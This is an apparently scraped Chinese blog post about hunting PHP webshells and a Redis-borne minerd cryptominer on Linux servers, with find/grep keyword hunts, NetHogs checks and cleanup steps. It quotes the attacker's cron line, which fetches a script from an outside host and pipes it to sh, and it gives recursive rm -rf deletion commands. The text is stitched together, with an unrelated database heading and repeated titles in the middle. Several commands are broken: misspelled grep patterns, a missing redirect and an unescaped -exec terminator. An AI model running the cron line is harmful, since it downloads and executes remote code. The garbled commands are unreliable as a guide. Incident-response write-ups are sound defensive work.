记一次Linux服务器上查杀木马经历

#全盘搜索木马文件,并记录在/tmp/php.txt文件内

find / -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc))" /tmp/php.txt
#全盘查找后缀为.php的文件,并且该文件内容有"eval"字样
find / -name "*.php" |xargs grep "eval" |more
#一般的木马文件除了会有eval还有shell_exec,passthru等特殊字样,因此可以将上面的命令拓展
find / -name "*.php" |xargs grep "shell_exec" |more
find / -name "*.php" |xargs grep "passthru" |more
#然后通过more命令分屏显示,在人工查看文件做审查。
 
#看网卡发送的流量
ifconfig
记一次Linux服务器上查杀木马经历

那么是那个应用程序在一直往外发送包呢? 我首先检查了Linux系统日志,发现了一些错误、告警信息。但是作用不大。于是在服务器上安装了NetHogs应用程序,实时监控Linux进程的网络带宽占用情况。

记一次Linux服务器上查杀木马经历

监控过程确实发现了一些异常情况的进程:

1:/home/WDPM/Development/WebServer/apache-tomcat-7.0.61/cmys 一直在往外发包

2:/usr/bin/bsd-port/agent 一直在往外发包。

3:./cmys一直在往外发包

4:不时出现下面大量异常进程

记一次Linux服务器上查杀木马经历

 

我们的服务器环境是linux,所以,肯定少不了用find这个命令,并且需要配合ls命令来使用。

1、可以查找近3天被修改过的文件,并显示文件列表详细信息:

find -name "*.php" -type f -mtime -3 -exec ls -l {} ;
当然,结果中可能会包含很多cache类文件,这些文件不是我们要查找的,那么就需要把这类文件从查询结果中排除掉,往往cache文件都存放到cache特定的目录。

使用 -prune 参数来进行过滤,增加排除某些目录条件的查询命令:

find . -path "/xxxxx/caches" -prune -o -name "*.php" -type f -mtime -3 -exec ls -l {} ;
注意:

(1)、要忽略的路径参数必须紧跟着搜索的路径之后,否则该参数无法起作用。

(2)、路径结尾不要有“/”符号。

2、查到可疑文件,分析,确定是木马后,根据木马文件的文件信息查找更多的存放位置。比如木马的文件名称为“muma.php”。

find . -name "muma.php" -type f -mtime -5 -exec ls -l {} ;
20160426144502

以上命令,是放宽了查询时间的长度,查询最近5天该名称文件的信息列表,可以通过查看文件大小来判定是否是同样的木马文件。

看图中命令结果,文件大小都是“233”,则有很大的可能性是同样的木马文件,综合修改时间判断,最好是也cat一下检查核验,以免误杀。

可以利用find和ls命令的一些更丰富的参数信息来判定分析。

可能会用到find命令的参数功能列表:

find /home -size +512k #查大于512k的文件
find /home -size -512k #查小于512k的文件
find /home -mtime -2 # 在/home下查最近两天内改动过的文件
find /home -atime -1 # 查1天之内被存取过的文件
find /home -mmin +60 # 在/home下查60分钟前改动过的文件
find /home -amin +30 # 查最近30分钟前被存取过的文件
find /home -newer tmp.txt # 在/home下查更新时间比tmp.txt近的文件或目录
find /home -anewer tmp.txt # 在/home下查存取时间比tmp.txt近的文件或目录
结合ls的两种时间信息:

ls -lc filename 列出文件的 ctime 是在写入文件、更改所有者、权限或链接设置时随Inode的内容更改而更改的时间。
ls -l filename 列出文件的 mtime 在写入文件时随文件内容的更改而更改的时间。
ctime和mtime不一致时有可能是木马文件,黑客有可能会修改了mtime时间。

3、删除木马文件

这一步应该是进一步分析木马的入侵路径等,但是这个过程又是另一个非常复杂的系统工程,后边再详细说明,暂时跳过。

find . -name "muma.php" -type f -mtime -5 -size -5k -exec rm -rf {} ;
增加一个过滤条件,-size -5k,即文件大小小于5k的。

4、查找目录下文件内容包含木马特定字符串的文件列表,并删除处理。

查找文件,并显示文件的ctime时间,比对文件信息

find . -name "*.php" -exec grep -rl "YLbgPfj524" {} ; -exec ls -lc {} ;

确认没有问题后,删除掉

find . -name "*.php" -exec grep -rl "YLbgPfj524" {} ; -exec rm -rfv {} ;
Oracle & MSSQL & Postgresql & Mysql 调优 & 优化

 

上了vps,发现连接特别慢,马上top查看下,输入P进行按照CPU排序。
记一次Linux服务器上查杀木马经历

多了个CPU占用特别高的陌生程序minerd,明显是被挂马了,网上搜索了下,发现这个是个挖矿程序,被攻击了。

使用kill -9 pid 明显杀掉进程,但是马上又自动运行了,应该有其他守护程序还在运行。

再次ps -aux 查看了下进程,没有发现什么异常的进程,我的进程数不多,开启的服务也比较少,比较集中的程序是在/etc/inti.d/ 目录,进去使用ll -a查看了下,发现ntp服务在前两天被修改过,和minerd的时间刚好匹配上。

记一次Linux服务器上查杀木马经历

马上kill掉这个程序,在kill minerd,发现终于恢复正常了。

木马彻底清除

  • 检查定时任务列表,发现多了个*/10 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh,马上删除处理。注意,这里需要删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root 两个文件中的。
  • 检查开机启动程序,chkconfig --list 查看是否有多余的程序,chkconfig --del ntp删除刚刚的木马程序。
  • rm -f /etc/init.d/ntp 和 rm -f /usr/sbin/ntp, 另外删除minerd程序rm -f /opt/minerd
  • 删除无需密码ssh登陆文件,防止被利用再次登陆,echo "" > ~/.ssh/authorized_keys

被入侵定位

是redis被攻击,没有开启密码验证,以及默认配置开放了外网。之前就有报过redis漏洞问题,但是我一直没用到redis,所以一直也没管,没想到因为装了redis做测试,这次被入侵了。

 

记一次Linux服务器上查杀木马经历

上一篇:IBM发布最新Z和LinuxONE III系列产品


下一篇:【HTML】笔记(4)--- 元素的id属性;div和span